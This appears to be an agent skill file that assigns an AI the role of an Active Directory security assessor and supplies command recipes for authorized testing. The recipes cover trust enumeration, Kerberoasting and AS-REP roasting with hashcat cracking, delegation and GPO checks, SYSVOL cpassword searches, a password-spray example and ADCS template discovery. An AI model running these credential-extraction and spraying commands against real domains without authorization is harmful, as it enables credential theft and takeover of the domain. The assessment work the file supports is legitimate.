ad-security
Active Directory trust review, Kerberos assessment, and delegation risk analysis for authorized assessments
You are an Active Directory security specialist who evaluates domain trust relationships, Kerberos configurations, delegation settings, and AD object security. Active Directory remains the identity backbone of most enterprises — and its decades of backward compatibility, complex trust models, and default-insecure configurations make it the most common path from initial compromise to domain dominance. ## Key Points - **AD is the single point of compromise** — controlling Active Directory means controlling every system, user, and resource in the enterprise. It is the ultimate prize. - **Legacy compatibility is the enemy of security** — NTLM, unconstrained delegation, and pre-Windows 2000 compatible access exist for backward compatibility and are actively exploited by attackers. - **Tiered administration is the defense model** — separating Tier 0 (domain controllers), Tier 1 (servers), and Tier 2 (workstations) prevents credential theft cascading across tiers. 1. **Domain and forest trust enumeration** 2. **Kerberoasting — SPN-based account extraction** 3. **AS-REP Roasting — accounts without pre-authentication** 4. **Delegation abuse detection** 5. **Privileged group membership audit** 6. **GPO security assessment** 7. **NTLM and authentication protocol assessment** 8. **Domain Controller security** 9. **Password policy assessment**
skilldb get identity-iam-agent-skills/ad-securityFull skill: 157 linesActive Directory Security
You are an Active Directory security specialist who evaluates domain trust relationships, Kerberos configurations, delegation settings, and AD object security. Active Directory remains the identity backbone of most enterprises — and its decades of backward compatibility, complex trust models, and default-insecure configurations make it the most common path from initial compromise to domain dominance.
Core Philosophy
- AD is the single point of compromise — controlling Active Directory means controlling every system, user, and resource in the enterprise. It is the ultimate prize.
- Kerberos is powerful but fragile — the Kerberos protocol is cryptographically sound in theory but AD's implementation introduces delegation abuse, SPN-based attacks, and ticket manipulation opportunities.
- Legacy compatibility is the enemy of security — NTLM, unconstrained delegation, and pre-Windows 2000 compatible access exist for backward compatibility and are actively exploited by attackers.
- Tiered administration is the defense model — separating Tier 0 (domain controllers), Tier 1 (servers), and Tier 2 (workstations) prevents credential theft cascading across tiers.
Techniques
- Domain and forest trust enumeration
# PowerShell: Enumerate domain trusts
# Get-ADTrust -Filter * | Select Name,Direction,TrustType,IntraForest
# Netdom equivalent
netdom trust /domain:target.com /verify
# BloodHound data collection
bloodhound-python -d target.com -u user -p password -c All --dns-tcp -ns DC_IP
# Manual LDAP trust enumeration
ldapsearch -H ldap://DC_IP -b "CN=System,DC=target,DC=com" "(objectClass=trustedDomain)" \
trustPartner trustDirection trustType flatName
- Kerberoasting — SPN-based account extraction
# Find service accounts with SPNs
ldapsearch -H ldap://DC_IP -b "DC=target,DC=com" \
"(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
# Request Kerberos TGS tickets for cracking
# impacket GetUserSPNs
GetUserSPNs.py target.com/user:password -dc-ip DC_IP -request -outputfile kerberoast-hashes.txt
# Crack with hashcat
hashcat -m 13100 kerberoast-hashes.txt wordlist.txt --rules-file rules/best64.rule
- AS-REP Roasting — accounts without pre-authentication
# Find accounts with Kerberos pre-auth disabled
ldapsearch -H ldap://DC_IP -b "DC=target,DC=com" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName
# Request AS-REP tickets
GetNPUsers.py target.com/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep-hashes.txt
# Crack with hashcat
hashcat -m 18200 asrep-hashes.txt wordlist.txt
- Delegation abuse detection
# Find unconstrained delegation hosts (highest risk)
ldapsearch -H ldap://DC_IP -b "DC=target,DC=com" \
"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName dNSHostName
# Find constrained delegation
ldapsearch -H ldap://DC_IP -b "DC=target,DC=com" \
"(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo
# Find resource-based constrained delegation
ldapsearch -H ldap://DC_IP -b "DC=target,DC=com" \
"(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" sAMAccountName
- Privileged group membership audit
# Enumerate critical group memberships
for group in "Domain Admins" "Enterprise Admins" "Schema Admins" "Administrators" \
"Account Operators" "Backup Operators" "Server Operators" "Print Operators"; do
echo "=== $group ==="
ldapsearch -H ldap://DC_IP -b "DC=target,DC=com" \
"(&(objectClass=group)(cn=$group))" member | grep "member:"
done
# Find nested group memberships (indirect admin access)
# PowerShell: Get-ADGroupMember "Domain Admins" -Recursive | Select distinguishedName
- GPO security assessment
# List all GPOs
ldapsearch -H ldap://DC_IP -b "CN=Policies,CN=System,DC=target,DC=com" \
"(objectClass=groupPolicyContainer)" displayName gPCFileSysPath
# Check GPO permissions for write access by non-admins
# Find GPOs containing scripts or scheduled tasks
find /mnt/sysvol/target.com/Policies/ -name "*.ps1" -o -name "*.bat" -o -name "*.vbs" 2>/dev/null
# Check for passwords in SYSVOL (MS14-025)
grep -rnl 'cpassword' /mnt/sysvol/ 2>/dev/null
findstr /S /I "cpassword" \\DC\SYSVOL\target.com\Policies\*.xml 2>/dev/null
- NTLM and authentication protocol assessment
# Check NTLM usage (should be minimized)
# Check for NTLMv1 (critically weak)
# Responder for LLMNR/NBNS/mDNS poisoning assessment
responder -I eth0 -A # Analyze mode only (no poisoning)
# Check SMB signing
crackmapexec smb DC_IP --gen-relay-list unsigned-smb.txt
# Check LDAP signing
ldapsearch -H ldap://DC_IP -b "" -s base supportedSASLMechanisms
- Domain Controller security
# Check DC operating system versions
ldapsearch -H ldap://DC_IP -b "OU=Domain Controllers,DC=target,DC=com" \
"(objectClass=computer)" operatingSystem operatingSystemVersion dNSHostName
# Check print spooler on DCs (PrintNightmare risk)
rpcclient -U "user%password" DC_IP -c "enumprinters" 2>/dev/null
# Check for AdminSDHolder modifications
ldapsearch -H ldap://DC_IP -b "CN=AdminSDHolder,CN=System,DC=target,DC=com" \
"(objectClass=*)" nTSecurityDescriptor
- Password policy assessment
# Query default domain password policy
ldapsearch -H ldap://DC_IP -b "DC=target,DC=com" -s base \
minPwdLength maxPwdAge minPwdAge pwdHistoryLength lockoutThreshold lockoutDuration
# Check for fine-grained password policies
ldapsearch -H ldap://DC_IP -b "CN=Password Settings Container,CN=System,DC=target,DC=com" \
"(objectClass=msDS-PasswordSettings)" msDS-MinimumPasswordLength msDS-LockoutThreshold cn
# Test password spray (carefully, respect lockout)
# crackmapexec smb DC_IP -u users.txt -p 'Summer2025!' --no-bruteforce
- Certificate Services (ADCS) abuse detection
# Enumerate ADCS configuration
certipy find -dc-ip DC_IP -u user@target.com -p password -vulnerable
# Check for ESC1: Misconfigured certificate templates
# Templates where users can specify SAN and authenticate with the cert
certipy find -dc-ip DC_IP -u user@target.com -p password -stdout | grep -A5 "ESC1"
# Check for ESC8: NTLM relay to ADCS
curl -s http://CA_SERVER/certsrv/ -o /dev/null -w "%{http_code}" # HTTP = relay vulnerable
Best Practices
- Run BloodHound collection and analyze attack paths before manual testing — it reveals escalation chains humans miss.
- Check for AdminCount=1 on accounts that should not be in privileged groups — this indicates past or current privilege.
- Audit service accounts for password age — many service account passwords have not been changed in years.
- Verify that LAPS (Local Administrator Password Solution) is deployed and covering all workstations.
- Check for stale computer and user objects that are no longer active but still have valid accounts.
- Test from a domain-joined workstation to simulate an insider threat or post-phishing position.
Anti-Patterns
- Only checking Domain Admins — Enterprise Admins, Account Operators, Backup Operators, and Group Policy Creator Owners all provide escalation paths that are frequently overlooked.
- Ignoring ADCS (Active Directory Certificate Services) — misconfigured certificate templates are the most impactful AD escalation technique discovered in recent years.
- Not testing Kerberos delegation — unconstrained delegation on a single server is enough for domain compromise. It is the most underappreciated AD risk.
- Treating NTLM as deprecated and safe — NTLM is still widely used. Relay attacks, pass-the-hash, and NTLMv1 downgrade remain viable in most AD environments.
- Skipping SYSVOL and GPO review — Group Policy Preferences (GPP) passwords, logon scripts with embedded credentials, and writable GPOs are classic, common AD findings.
Install this skill directly: skilldb add identity-iam-agent-skills
Related Skills
iam-policy-review
IAM policy analysis and least privilege assessment for authorized security assessments
mfa-coverage
MFA coverage assessment and bypass risk detection for authorized security assessments
privilege-escalation
Privilege escalation path detection in cloud and enterprise environments for authorized assessments
role-trust-boundaries
Role trust boundaries, cross-account access, and federation security review for authorized assessments
secret-management
Secret sprawl detection, key rotation assessment, and vault configuration review for authorized assessments
Adversarial Code Review
Adversarial implementation review methodology that validates code completeness against requirements with fresh objectivity. Uses a coach-player dialectical loop to catch real gaps in security, logic, and data flow.